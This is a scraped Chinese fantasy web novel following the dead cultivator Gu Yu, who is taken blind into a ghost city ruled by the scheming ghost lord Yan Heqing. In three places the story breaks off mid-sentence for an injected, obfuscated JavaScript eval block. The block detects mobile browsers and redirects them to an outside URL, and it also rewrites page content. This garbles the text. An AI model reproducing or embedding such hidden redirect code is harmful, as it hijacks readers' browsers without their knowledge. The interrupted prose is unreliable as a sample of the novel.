《鬼主明鉴,狗腿他一点也不想重生啊》 1. 跳崖 顾屿将死时,北疆落了雪。 “锵”地一声,一柄残剑插入雪地中,溅起一片雪花。顾屿跪地单手扶剑,脸色苍白如纸,眼神中隐隐透露出绝望和不甘。 他呕出一口鲜血,闭目喘息着,身体微微颤抖,显然已经到了强弩之末,再无反抗之力。 四周层层叠叠围了不少修士,他们目光各异,但大多带着警惕之色。这些修士们看着顾屿,眼中闪烁着复杂的光芒。 有人惋惜,有人庆幸,还有人则暗自盘算着如何从中谋取利益。然而,面对这位曾经威名赫赫的天才,众人却都不敢轻易出手,生怕成为众矢之的。 顾屿缓缓抬起眼眸,冰冷的目光扫向眼前的那些修士,嘴角微微上扬,露出一抹嘲讽的笑容。 他抬手轻轻擦拭着嘴角的血迹,语气冷淡地说道:““诸位联手欲致顾某于死地,想必均是为了那稀世神器而来。只可惜顾某无能,几日前这神器便已被旁人夺去。诸君怕是白跑一趟。” 言毕又咳出一口血,周身灵力愈发微弱了几分,仿佛风中残烛一般随时都会熄灭,“……咳咳,顾某亦在那时被人打伤,否则今日也不会落得如此狼狈境地。” 他的声音充满了无奈和苦涩,让人不禁心生怜悯之情。 然而,周围的修士们却不为所动,他们的目光依旧冷漠而贪婪,紧紧地盯着顾屿,似乎想要从他身上找出神器的下落。 “哼!休要狡辩!神器定还在你身上,乖乖交出来,或许我等可以饶你一命!”一名黑衣修士冷笑道,眼中闪过一丝狡黠之色。 “不错!若不交出来,今日便是你的死期!”其他修士纷纷附和道,手中法宝光芒闪烁,一副跃跃欲试的模样。 面对众人的逼迫,顾屿苦笑着摇了摇头:“诸君何必苦苦相逼?神器真不在我身上,我如今身负重伤,命不久矣,即便得到神器又有何用?人之将死,又何必……咳咳,说谎。” 此言一出,众人哗然。如此吃力不讨好的事,谁做了谁是冤大头。 因着顾屿君子之名举世皆知,兼之修为深不可测。如今一片冤大头不甘心地嚷嚷,对他的话倒是信了个五六分。 有暴脾气的修士直接开骂,骂完又问:“他奶奶的,那你小子倒他妈说说究竟是谁夺去了神器啊?你这都快死了就别卖关子了,别他娘的还没说完就先断气了啊!” 顾屿这下真心实意地笑了出来,眉眼间杀意竟散了大半,嘴角微扬,显出些明朗的少年气。 他声音微弱但语气却很坚定,坦然答道:“顾某亦不知。只是诸位请想,如若今日我命丧于此,而未及告知诸位神器已失。 那此后百年诸位只会从我身边人查找神器下落,无暇顾及旁人。这岂不正中夺神器之人下怀。至于这人是谁?” 他向四周看了一圈,眼神中带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340287|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝深意和警告,一字一顿道,“诸位只用想想顾某死后,谁能得到最大利益即可。” 寂静,死一般的寂静。 众人不禁陷入沉思。每个人心中都有自己的答案,但却不敢轻易说出口。很好,很好,猜疑之心已生,不过分崩离析大约还需一段时日。 顾屿心中暗自冷笑,手中的剑骤然发出嗡鸣声,下一刻挟裹着暗蓝色灵流贯穿了持剑人的心脏。 他于一片惊呼中听到了自己心脏破裂的声音,鲜血染红了白衣,又自剑尖缓缓滴落,一滴接着一滴,在洁白的雪地上蜿蜒出一道道触目惊心的红痕。 周围的修士们一个个呆若木鸡般地站在原地,脸上满是难以置信和惊愕之色,他们从未预料到会发生这样的事情。 而就在这时,顾屿却突然嘴角微微上扬,露出一抹决然的笑容,而后纵身跃入了身后那万丈深渊之中。 想要杀了我永绝后患?好,那我便舍了这条命,给他们制造一个最大的谜团——“生要见人,死要见尸”?不!就叫他们永远得不到答案,叫他们因为我的生死不明而寝食难安。 很好,去他妈的君子,顾屿想,看来我从始至终都还是那个不要脸的混蛋。 《九州修真志》载:月持十九年,有百年难出绝世天才之称的顾氏后辈与北疆万年妖兽争斗之时,不幸坠于迷渊,神器自此下落不明。修真界为此起了轩然大波 2. 地府 嘀嗒”,这是血落下的声音吗?顾屿茫然地想着,头痛欲裂,睁开眼却只得一片漆黑。 他不记得自己昏睡多久,更不知此刻为昼为夜。目不能视,其他感官却敏锐了许多。 顾屿伸出手试探着向前摸索,空无一物。莫名的凉意自脊骨向上攀爬,是一种被未知窥视后产生的恐惧。 顾屿颇有些颓丧地坐在原地,琢磨自个儿是生是死,不知不觉间念叨出声:“……虽说祸害遗千年,但我这自万丈高崖跃下没死透实在是说不过去……不对,难道我已经死了?” 这么想着,他下意识地抚上胸口,本应有着剑伤的地方此刻却完好如初。 顾屿怔愣一瞬,旋即醒悟过来,嗯,看来自己的确是死了,现下的感知意识大约只是零星残留的记忆罢了。 顾屿平静极了,觉得自己虽然生的不伟大但好歹死的光荣,临死了还能倒打那帮傻子一钯,也算没白活。 黑暗在寂静的加持下愈发难熬。若有若无的窥视似乎仍在附近。 顾屿厌恶极了这种被当作猎物的感觉,遂秉持着反正死都死了你还能把我怎么样的理念,开口忽悠道:“不知阁下隐于暗处窥探是为了何事?人既已至,何不光明正大现身一叙。凡阁下所问,顾某必坦言告之。” ……才怪。 一阵沉默。来者饶有兴致地瞧着顾屿自说自话,似乎并没有参演这一场独角戏的打算。 顾屿仰着头四面环顾,确认得不到回答后便决定在沉默中爆发,张口欲言时却被一道声音打断:“……名字?” 声音冷冽如冰,又带着不以为然的懒散,隐隐透着些戏谑的意思。是个女子的声音。 但不一定是女子。 顾屿对此深有体会,毕竟自己也曾伪装成女子声线骗人利己,此刻不免在称呼上有些踌躇,纠结片刻道:“顾屿。岛屿的屿。敢问姑娘芳名?不知何故来此?” 无论来人是男是女,既以女子声音示人那就无论身心是否是女子,必然是有志向做女子。顺应一下总没错。 来者轻哼一声,转瞬便自藏身处行至顾屿身前,伸出手在他眼前晃了晃,了然道:“喔,你果然瞎了。” 而后收回手不甚在意道,“你是死了,只可惜死前尚有执念未消,无□□回转世。那群鬼差没办法,只能将你送来罗刹道——” 有意停顿一番,又咬牙切齿道,“干苦力。” 顾屿淡定地想,得嘞,天塌了。 做人时要给旁人当牛做马,做鬼了还要给别的鬼当牛做马。 这世道欺人善,顾屿觉得他最好现在躺回去再死一次。 不知何时,一只手悄无声息地搭上了他的肩,顾屿莫名打了个寒噤,冷,寒意自四肢百骸传至心脏肺腑,冷到心悸,冷到令人绝望。 纵然他再怎么想死,身体仍有御敌的本能,他伸手按住那只冰冷僵硬的手,深蓝色灵流汇出体外,刹那间燃作黑色火焰扑向身后鬼物。 凄厉的叫声只得一瞬便随着鬼物一同被焚为灰烬,簌簌落地。 顾屿收回手,松了一口气,抬头“看”向来者,温声道:“姑娘没受伤吧?这鬼物行踪难测,虽说在下出手击退一只,却不知其后又有多少鬼物将至此处。 眼下顾某无法视物,只能劳烦姑娘先带在下离开此处,再做打算。” 燕鹤青看着眼前云淡风轻斩了鬼物的瞎子,心情有些复杂。 这人只单单一个魂魄就有如此强大的灵力,原身必然实力强劲。观其年岁不过弱冠上下,若能重返人世,必有所成,想来于自己也有助益。 既如此,本就算被强制捆在一处的蚂蚱,帮携一下倒也无妨。 思及此处,燕鹤青总算心情好了些,打了个响指,声音放缓些许:“公子不必担忧,方才鬼物是应吾召唤而来。本意只是想借它的力量将顾公子带去别处,并无伤害之意。” 言毕,顾屿又感到彻骨寒意自背后传来,与方才同样枯瘦僵冷的手搭上了肩膀。 本能快于思考,下意识间黑色火焰再度燃起,鬼物又一次被焚作灰烬。 双方沉默片刻。顾屿真心实意地道歉:“……姑娘,抱歉,手太快了,我也管不住。” 燕鹤青看着地上两堆灰烬,压下自己想揍人的冲动,语气僵硬地安慰他:“无妨。” 鬼物死了,但路还得走。燕鹤青伸手扶住顾屿的一边臂膀,将人拉了起来,趁此间隙手指微微一动,向他身上洒了些许粉末,才在心中真正表示无妨。 顾屿站起身,一时只觉头重脚轻,兼之看不见,只得随着燕鹤青亦步亦趋地走。 他暗自思忖这“姑娘”体型高大,同自己也未必差了多少,想来必是一位有做女子的志向的男子,不由得肃然起敬。对这位“姑娘”多了几分好感,主动开口攀谈。 谁知这“姑娘”是个高冷范,从问三答一到问五答一,再到问十答一,最后干脆直接一言不发,任顾屿如何旁敲侧击也只当作耳旁风。 彼时燕鹤青厌烦地瞪着身旁叭叭的人形噪音制造机,手中刀都出鞘了一半,恨不能立刻把这玩意捅了让他再死一次。 然而愤愤良久,终究还是将刀收回了鞘。 罢了,既然要来我的地盘,何愁没有时间和方法收拾他。燕鹤青咬着牙说服了自己,暂且只当自己已经死了。 从厌烦到麻木,又从麻木到呆滞。堂堂一方鬼主还没回到自己的地盘,人就已死了一半。 混蛋!燕鹤青骂了一句,这个顾屿果然是个混蛋!!! 近日阎浮城很热闹。 热闹的源头来自于北城鬼主燕鹤青。据众鬼间口口相传,在不久前百年一遇蚀月之夜,燕鬼主她神威赫赫单枪匹马杀入迷渊,为护美人斩尽迷渊恶灵,终于抱得美人归。 只是这美人姓甚名谁,来自何处,是男是女都无从得知。一时间众说纷纭。 上一秒穷鬼信誓旦旦保证他亲眼所见那是个如花似玉身姿曼妙的娇软美人,下一秒就有饿死鬼反驳说那分明是个面如冠玉惊才风逸的俊美男子。 争论不休间,一旁醉倒的酒鬼笑着打断他们,打了个酒嗝,结巴道:“都……都不对,我……我亲眼瞧见的……,那是……个比美人还漂亮的男人……嘿嘿……一个漂亮的男人。”言毕下一刻就又昏睡过去。众鬼俱不以为意,依旧吵嚷不休。 北城鬼主府,璇玑厅。 燕鹤青身著绣金玄袍,单手支颔坐于主位,心不在焉地听大小鬼侍禀报着诸项事务,面无表情地随机回几句嗯,知道了,够了,好,行,你们看着办。 回答的字数逐渐由多至少,显见已是不耐烦至极。 坐在左侧的鬼侍首领见状,微微叹了口气,抬手屏退左右,行至庭中央,开口道:“鬼主总该用些心处理此间事务,如若一味行事荒唐,不免落人口实,眼下您新即位不久,理应小心谨慎些。” 燕鹤青抬眼看向那面上写满关切之情的鬼侍首领,屈指敲了敲桌案,似笑非笑地答道:“事有轻重缓急之分,方才一众鬼侍禀报均为寻常纠纷事,本尊既为一方鬼主,断没有事必躬亲的道理。 首领既任职多年,想来于如何应对这些事轻车熟路,你代本尊处理了就是。” 这一番话说到最后竟带上些许笑意。 鬼侍首领虽笃定这新任鬼主不敢拿自己怎么样,此刻也不得不跪了下去,俯下身答道:“属下不敢。” “不敢?……喔?”燕鹤青挑着眉,依旧似笑非笑地看着眼前的男人,缓缓站起身来,“本尊竟不知首领还有不敢为之事?” 她那漂亮地近乎妖孽的面容带上了些许嘲讽笑意,愈发显得姝色无双,犹如一株吸饱了鲜血的艳丽毒物。 只可惜植株亭亭,却是不详。 燕鹤青行至那跪着的鬼侍首领面前,笑意愈发深重,声音寒凉:“在其位谋其政。首领既可为前任鬼主做好这些事,那现下自然也可为本尊去做。 还是说,首领你对本尊其实心怀怨怼,不愿为本尊效力?” 她负手而立,沉默片刻,轻笑一声道:“想我修罗道众鬼何止千千万,从中挑些想脱离苦海的良才想也不是什么难事,首领不愿做的事自然有旁人愿去做,首领不愿效忠本尊却亦有旁人愿表忠心。 是以事到如今,还得劳烦首领最后一件事——让贤。” 说完,手腕间寒光一闪,一瞬间斩魂利刃携着深紫光晕没入那鬼侍首领颈中。 鬼侍首领蓦得瞪大了双眼,刹时乌紫色的血自口鼻中喷涌而出,痛楚若烈火般煎熬着肺腑,他不可置信地呜咽叫出声:“……你……若…杀了我……,吾…主………必不……饶你,你…这个…毒……妇,……不得……好死,…………不……得……好……死……” 挣扎了不过半刻,形体自伤口处开始消散,化为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340288|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕缕尘烟。 燕鹤青俯下身,同他充血的双眼对视着,笑的极尽天真:“多谢夸奖,承你吉言。” 又旋即收敛了笑意,向闻讯赶来的鬼侍冷声吩咐道,“有鬼侍妄图行刺本尊,事出突然,首领大人一心护主,不幸魂陨。”又回头瞥了一眼那正在消散的躯体,微不可察地皱了皱眉,“就以最高礼遇厚葬。” 一众鬼侍明知此事蹊跷,却均不敢询问,只得齐齐跪下应声答是,草草收场了事。 阎浮城,桃叶渡。 作为城内有名的鬼界食肆,每日鬼来鬼往,一应的车如流水马如龙,铜灯中青焰燃起昼夜不息。 食肆隐于枯木衰林,鸟兽纵横,不时有夜枭自枯林中振翅而起,鸮啼鬼啸之声不绝于耳,繁华景下掩得是一片凄凉意。 食肆内桌椅倒勉强称得上齐整——如果忽略其上堆积如山的灰尘的话。有鬼魂充作店内伙计四处飘荡着为客人们上菜——真难为他能托住菜的重量。 客人们倒是一如生前划拳喝酒,吵吵闹闹,叫嚷着听不懂的家乡话,兴起处或大哭或长啸。 ……好吵。 顾屿坐在临窗的桌旁,听着那些不得轮回的鬼魂们吵嚷,这才有了些自己真的死了的感伤。微微叹了口气,转头“看”向了桌子对面的鬼:“兄台携我来此,不知有何指教?” . 无人应答。 唔,看来兄台不太乐意回答这个问题。思索片刻,顾屿悟了。 他还活着的时候见过有些人喜欢别人先套个近乎再问正事,想来这位兄台也不免俗,遂从善如流问道:“方才是顾某失礼了,请教阁下姓名。” 对面的鬼沉吟片刻,颇不情愿答道:“乌归。”像是怕被误会,又赶忙补充了一句,“我叫乌归。” 声音粗犷豪迈,震得桌子房梁抖三抖,一时间灰与烟尘俱飞,呛得一众鬼怪连连咳嗽。 顾屿抬手挥了挥袖,将面前灰尘拍散些许,赞赏道:“好名字!想来此名之义在于寿数无尽千万载,足见起名人之用心良苦以及对乌兄你的期许之深。” 他又神神秘秘地凑近乌归,低声说道,“实不相瞒,顾某未入宗门前其实姓王,于家中排第八。同乡人都按此称呼我。 乌兄,由此可见你我实是缘分匪浅,五百年前是一家啊,既如此一家人不说两家话,乌兄啊,我跟你讲……” 这边顾屿越讲越欢喜,那边乌归越听脸色越青。强忍着怒气,攥紧了拳头,心中不断默念:他是北鬼主的鬼,北鬼主的鬼,动不得,动不得,不生气不生气…… 念叨到最后,这粗犷大汉不禁悲从中来,哭声震天响,鬼主啊,这小子他也太欺负人了啊。 食肆内一时安静得出奇。只余乌归哭声绵延十里,余音绕梁不绝于耳,闻者立晕见者捂耳。 顾屿伸手堵住耳朵,有些心酸,有些忧郁。 乌归兄这样定然是长期未得到过旁人关注与赞赏,此刻有人对他好了一点,便忍不住要将内心滔天的委屈哭诉出来。 顾屿深深叹息,隔着桌摸索着拍了拍乌归的手臂,想给他一丝安慰。 效果立竿见影——乌归由号啕大哭转为崩溃号叫。 不少鬼不堪其扰,叫骂着冲出了食肆。待到乌归哭声停止,整个桃叶渡已空无一鬼。 乌归用袖袍擦了擦眼泪,两眼肿如桃,只余一条缝,衣襟亦被泪水打湿大半。 他嘟囔着:“乌是何首乌的乌,归是当归的归,名字是北鬼主起的,寓意我投身药理救死扶伤,不是乌龟!” 顿了顿,不知想到了什么又眼放光彩,自信道,“其实我还有另一个名字。” 他期待地看向了顾屿,脸上写满“快问我”三个字。 顾屿虽看不见,但还是相当捧场:“是什么?顾某相当好奇,乌兄告诉我吧。” 乌归满意极了,一拳砸在了桌子上,朗声道:“我还有个名字叫元绪!” 桌子应声四分五裂,顾屿面不改色地夸赞:“元兄好气魄!元绪为至尊至荣之称,元兄前途必不可限量!” 乌归哈哈大笑,心中终于满意,这才想起尚有正事,语气严肃说道:“北鬼主让我来此为公子你解释修罗道一事。” 顾屿闻言明了,北鬼主大约就是那个扶自己出来的有做女子志向的男子,是他派来的人啊,随口应了一声道:“乌兄请便,顾某洗耳恭听。” 3. 天命 上古之时,天分两域,地有四界。天域至轻者曰浮妄天,为长生仙者居处;地界至沉者曰九幽府,为冥鬼轮回之所。 天域尽头,地界之始相交融处,煞气弥漫,生修罗道。 凡执念深重的冤魂孽鬼皆可至此。受天道神谕指引,或安居于此静待消亡,或释冤解念再入轮回,或闯尽阎浮十二城,重返尘世得永生。 阎浮城内亦有昼夜之分。桃叶渡内乌归从天色近晚讲到夜色深沉,愈讲愈神采奕奕,丝毫不显疲态,谈及精彩处更是手舞足蹈,恨不能亲临现场观摩一二。 好不容易待他停歇下来,顾屿倚在一旁,见缝插针开口道:“咳,那个元兄,方才听你所言,凡是来此城者俱得天道神谕指示。可我自来此地并未得到丝毫指引,莫非顾某其实不该来此……是天道弄错了?” 听顾屿提及此处,乌归面色变得颇为古怪,犹豫半晌,方才迟疑答道:“顾公子可知这阎浮总域共十二城,东南西北四城主各辖三城,互不相扰,各自为尊。” 顾屿点头:“略有耳闻。” 乌归闻言微微松了口气,继续说道:“大多天道神谕只稀松平常,会直接降于该鬼魂的牵引者,由牵引者代为执行。 但也有极少数神谕或将带来鬼域变数,会降于鬼主手中,于无人知晓间秘密执行。” 说到此处,他同情又颇为忌惮地看了顾屿一眼,“顾公子大约是后者。” 顾屿思索片刻,真诚发问:“元兄,牵引者又是什么东西?” 乌归扶额颇觉心累:“……牵引者不是东西。牵引者是各魂魄初来阎浮城时,由影石自其心念中引生出的同伴幻影。” 顾屿恍然大悟地哦了一声:“那牵引者还是个东西。” 说完又长叹一声,抬手捂眼,悲痛万分,“元兄,可怜顾某眼盲不知影石在何处,亦不知牵引者所在。不知元兄可否——?” “否否否否否。”乌归连忙打断这祖宗的话,瞪大双眼捂住他的嘴,“北鬼主只令我为你解释修罗道一事,并无其他指示。吾等臣属绝不可自作主张。您可别难为我了。” 说完一把抓住顾屿的手臂,捏了瞬行诀将人送回了住处。 半月后,醉梦楼。 醉梦楼位于阎浮城极北处,十二城中有权有势的鬼皆聚于此。 楼名取自醉生梦死,楼中客俱半生半死。 寻常魂魄不过虚体,同类方可相触。醉梦楼中客却可依仗灵酒丹药得半日实体,再尝人世之乐。 只是灵酒丹药千金难求,所得实体终归虚妄,故称楼中客半生半死。 楼内猩红绸缎充作帐幔,金铃吊穗悬挂其间。靡靡之音婉转低徊,舞姬身姿曼妙,钿头银篦击节而动,端的是纸醉金迷,奢华无度。 顶楼雅阁中,珠玉作帘长坠于地。 酒色财气四鬼心惊胆战跪于珠帘外,帘内人面容半隐,语气阴沉:“这么说,真像传言中那样,燕鹤青当真从迷渊带回了只鬼,还特意将他留在了自己住处?” 酒鬼此时难得清醒,闻言立刻膝行上前答道:“回尊主,的确如此。只是据属下查探,除了住所一事,北鬼主她对这只新鬼并无甚关注,未遣人保护,也未曾同他见面。 反而放任流言满天飞。属下斗胆揣测,这,会不会,是咱们弄错了?” “哦——?弄错——?”帘内人发出一阵刺耳的冷笑,缓缓转过身,负手背身而立,姿态笔挺如松。 “她燕鹤青是什么样的人,吾比谁都清楚。她向来只做对自己有利之事。如若此人魂魄当真对她毫无影响,她绝不会如此大费周章亲自去一趟迷渊。” 他话语一顿,抬手拂袖,声色俱厉地喝斥道:“还不给我滚回去继续查!如若此事还是没有任何进展……” 他突然停了下来,回头冷冷地瞪着地上跪着的四鬼,眸中翻涌起些许血色,漠然道:“那你们这群废物就不必再留存在这世上了。” 闻言,酒色财气四鬼立刻战战兢兢伏跪于地,点头称是后,化为烟雾重归城内。 待诸鬼散去,帘内人手指微动,檀木桌案上明亮的烛火燃起,光暗交叠处生出影子。 他呵呵冷笑,自言自语道:“还是做人比较好。做鬼啊,太累。” 醉梦楼内,歌姬仍不知疲倦地唱着曲,舞姬对月起舞弄清影,金铃乍响,丝竹靡音。犹见月下烛间俱有影,所以不必担忧,她们都是人。 那观赏此间盛景的楼中客自然也都是人,有影子的,活人。 多巧妙的一场骗局啊,帘中人想,做人,活人,他们也配? 他哈哈大笑至浑身颤抖,于不经意间打翻了烛火。 烛光晃动摇曳间,人影狰狞似兽。 近些日子,顾屿很迷茫。 纵然眼盲,他也能感觉到,自那日同乌归兄谈完话后,明里暗里盯着自己的人只多不少。 明面上他的住处只安排了普通的鬼侍把守,通行无阻。然而实际上,只要他逃出鬼侍视线范围外约三里远,就会立刻被“偶然”路过且热情的好心鬼送回住处,且骂不还口打不还手,着实让这只混蛋的鬼很无奈。 这种过分关爱残者的做法一度让顾屿产生了种鬼界全是热心肠的错觉。 但错觉终究是错觉,顾屿想,这种类似关押囚犯的做法严重损害了我的个人利益。 我要抗争!对,抗争,那抗争之后呢?露宿街头?卖艺谋生?……呃,卖身谋生?顾屿抬手摸了摸自己的脸,觉得还是算了。 男鬼,对了!那位有志向做女子的男子!既然是他带自己来了这儿,那他自然有办法带自己出去。 顾屿立刻来了精神,自桌旁摸索到笔墨,行云流水地写完几行字,打开门随手一团扔给了鬼侍:“麻烦递交给你们老大,说我有事找他。” 鬼侍看着怀中皱巴巴的纸团,狐疑道:“我们老大半月前就灰飞烟灭了,这东西需要我烧给他吗?” 顾屿:“……那倒也不必。” 想了想,才又开口道,“就找派你们守在这里的地位最高的那位统领,我同他交情很深,麻烦仁兄把这纸团递给他就行。” 鬼侍上下打量他一眼,半信半疑地把纸团收至手里,答道:“行行行,我知道了。回屋去吧。” 顾屿闻言微微一笑,拱手作了个长揖,这是又披上了温润君子的皮。 北城鬼主府,听雨阁。 乌归躬身站在阁外,秉着公事公办的态度汇报顾屿近况:“尊主,据手下鬼侍来报,顾公子他半月内逃跑被抓三十余次,半夜哀嚎六十余次,哀声叹气百余次,以泪洗面十余次,且日夜骚扰鬼侍从不间断。” 又略微迟疑片刻,道:“如今一众鬼侍均不堪其扰,属下想替他们多嘴问一句,不知尊主您究竟打算何时解了顾公子的监禁?” 阁内,燕鹤青于书案前提笔落字,闻言不甚在意地点点头,道:“随他去吧。”待一字写完,默默停笔观赏片刻,方又抬眼看向阁外:“你怎么还不走?” 合着您根本没听我后半句问了什么啊,乌归默默在心里吐了口血,深吸一口气后,继续说道:“……顾公子他说,他要面见尊主。” “见我?”燕鹤青手中笔一顿,语气略微有些诧异,面上却平静至极,“喔,那你倒说说,他是怎么说的?” 该来的终于还是来了。 乌归低头闭眼,认命般地呈上看得出已尽力抹平但仍皱皱巴巴的纸片,“顾公子让鬼侍将这纸片交给尊主,还说,如果尊主看了纸片仍不见他的话,他就于今日自行了断灰飞烟灭。” 言至最后,乌归的语气中带着一丝无奈。 燕鹤青伸手接过纸片,瞧了瞧那上面鬼画符般的字迹,微微皱眉,颇为头疼,也懒得耗费精力去辩认。算算时间也将人晾得差不多,见一见倒也无妨。 燕鹤青沉默半刻,道:“罢了,既然他想见本尊,那你就带他过来吧。” 乌归怔了一瞬,低头答是。 片刻后,乌归带着顾屿来到了听雨阁。燕鹤青放下手中的笔,抬头看向眼前的男子。 顾屿一袭白衣,长身玉立,如墨般的长发被一根白玉簪松松地束起,几缕发丝垂落脸颊两侧,显得整个人十分慵懒随性,但又有一股说不出的贵气和风流韵味。 他的面容比以前略显苍白,可能是因为受伤的缘故,却也因此增添了几分病弱之气。但那一双狭长的狐狸眼,微微上扬的嘴角,以及周身散发出的气质,都让他看起来并不柔弱,反而有一种别样的惊艳和洒脱。 纵然自认不爱美色如燕鹤青,也不得不承认这混蛋的确生了副好皮囊。 “见过尊主。”顾屿行礼道。 燕鹤青微微颔首,示意乌归扶他坐下。“找我何事?” 顾屿犹豫一瞬,先是语气低落说道:“尊主,实不相瞒,自从来到这里后,顾某一直在思考自己存在的意义。当初活着的时候受世人劝说,顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340289|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某也曾以为权力和财富便是一切,” 而后语气转为犹疑,“但如今顾某身死后已然明了,人世繁华都不过是过眼云烟。顾某既来到此处,理应找到真正心之所向的道......” 最后一抬眼,语气坚定:“经过这些时日,顾某如今终于确信,尊主您,便是我心之所向!顾某愿在此立誓,从今日起,刀山火海,任君差遣,顾某绝不退缩半分.!” 这一番话说得削金断玉,铿锵有力,顾屿自认诚意十足地表了忠心,自个儿说得高兴,却忽略了四周诡异的寂静。 旁边的乌归瞪大双眼,于这等尴尬场合中努力蜷缩在一旁,试图减少存在感,内心茫然震惊崩溃不已。 不是也没人告诉我那些传言都是真的啊。这小子居然真的和北鬼主有一腿啊! 燕鹤青则从头到尾静静地听着顾屿的诉说,神色逐渐麻木,最后嘴角扬起一抹讥讽的笑。只在某一刻不知想到了什么,眸中闪过一丝不易察觉的光芒。 “寻找自己的道?”燕鹤青轻声问道,“你可知道,每日都有成百上千的鬼魂涌入阎浮城发誓为本尊效劳,他们大多数都有所求,或求权势力量,或求富贵安稳。 既有所求,便有软肋,同他们谈交易总归明了。而顾公子你既无所求,本尊为何要信你的效忠?” 像是早就预料到她会这样问,顾屿微微一笑,坦然答道:“尊主您将顾某从迷渊带出,总不会只是一时心善之举。再加上元兄为我解释的那些,顾某这点自信总还是有的,尊主需要我做事,不是吗?” 燕鹤青沉默片刻,而后嘴角微扬:“可是能帮本尊的不止你一个。顾公子还是太过自信了。” 顾屿:“……”好好好,大哥你不按套路出牌。 虽然对方话都说到这份上,但他这君子总还得装下去,遂叹息一声作无可奈何状,道:“既如此,元兄对顾某提起过,凡修罗道的鬼均可自影石中得牵引天命者。尊主既不愿用顾某做事,那便恳请尊主放我离开,让顾某自去承引天命。” 此言一出,阁内又是一阵寂静。燕鹤青唇角微弯,周身气压骤降,眉眼间现出些许戾气,看向座上浑然不觉的某人。 不多时却又低头垂眸,自顾自地提壶倒了杯茶。 乌归缩在一旁角落中瑟瑟发抖,心中默默为顾屿点了根蜡。 顾屿等了许久亦未等到回答,耐心逐渐消耗殆尽,忍不住开口道:“……尊主?”! 燕鹤青垂眼,不去看他:“不知顾公子方才提到的元兄是谁?我府上似乎并没有这一位。” 顾屿“啊”了一声,实在没跟上北鬼主这山路十八弯的思路,茫然答道:“喔,乌归兄那日……” 还未答完,角落中乌归便开始拼命咳嗽,面庞通红,活像下一刻就要于此间呕血而死。 顾屿乖觉地闭了嘴。 燕鹤青冷笑一声,瞥了乌归一眼。咳嗽声立即停下。燕鹤青无语片刻,摆摆手放他离去,显然是懒得计较。 顾屿缓过了神,试探性问道:“尊主,关于顾某去留一事,您可考虑好了?” 燕鹤青神色淡漠,声音冷冽如冰:“不必去问影石,你的天命,在我手里。” 她站起身,缓缓踱至顾屿面前,俯身看向他的眼睛。一双狐狸眼,眼尾上挑,别具风流。 只可惜美则美矣,眸内不见半分神彩,还是个瞎子。 唔,看来那毒效果甚佳。 燕鹤青心情莫名转好,连带着语调温和几分:“眼下你魂魄受损,双目失明。还是先安心休养几日,待复明之时,本尊自会将天命告知于你。”言必,不给他答话的机会,转身离去。 顾屿则沉浸在自己的天命居然真的在鬼主手中的震惊中,万没想到这么小的概率都能被自己碰上,一时竟不知该是忧愁还是更忧愁。 最后混蛋本性暴露,整只鬼瘫在座椅上,单手支颔沮丧不已:“……完了。” 作为一只自认没理想没抱负的鬼,顾屿一不愿重生,二不愿卷入鬼界纷争,更不愿做什么变数。 当初他还活着的时候也曾想轰轰烈烈纵马高歌过一生,可惜少年英才太过耀眼招摇,致使年纪轻轻就死于非命。 如今做了鬼不愿再重蹈覆辙,只想老老实实于此城中了却余生,命运却告诉他,你还是要去抗争。 多嘲讽啊,顾屿想,曾经所求非所得,如今所得非所求。而天命之下,他只能被动承受,别无选择。 5. 变数 阎浮城外往东二十里,正是迷津渡口。瘴气弥漫,渺无人烟。 寒风凛冽,枯林掩映下偶然掠过几只噬骨鸟,鸮啼鬼啸,于月色下带起枝影摇曳万千。 迷津渡口的简陋房屋内,燕鹤青眼眸微眯,出神地瞧着眼前缓缓展开的虚妄画卷,指节屈起,有一搭没一搭地敲着桌沿。单调突兀的声响于一片鬼哭狼嚎中竟莫名令人心安。 除了千辛万苦打完架,半死不活赶回来,一心只想休息的屋主人自己。 叶泠在推开屋门看清来人的那一刻,很想自戳双目装瞎。 正犹豫不决间,耳畔传来燕鹤青陌生又熟悉的亲切呼唤:“……还不滚进来。” 叶泠心一横,认命闭眼走上前,被迫接受顶头上司的压榨。 燕鹤青看也不看她,懒洋洋地自唇齿间蹦出一个字:“坐。” 叶泠依言机械坐下。趁机微微瞟了一眼桌上的画卷。 待看清那是什么东西后,叶泠面无表情全身僵硬,拔剑出鞘,灵力灌注,显见是恶从胆边生,想以下犯上一剑劈死北鬼主。 画卷上的虚影正绘制着叶泠三人大战螭骨初时落下风的场景,只见画上叶泠被那螭骨狠狠一甩,狼狈至空中跌下,划出一道优美曲线后完美坠入深坑。 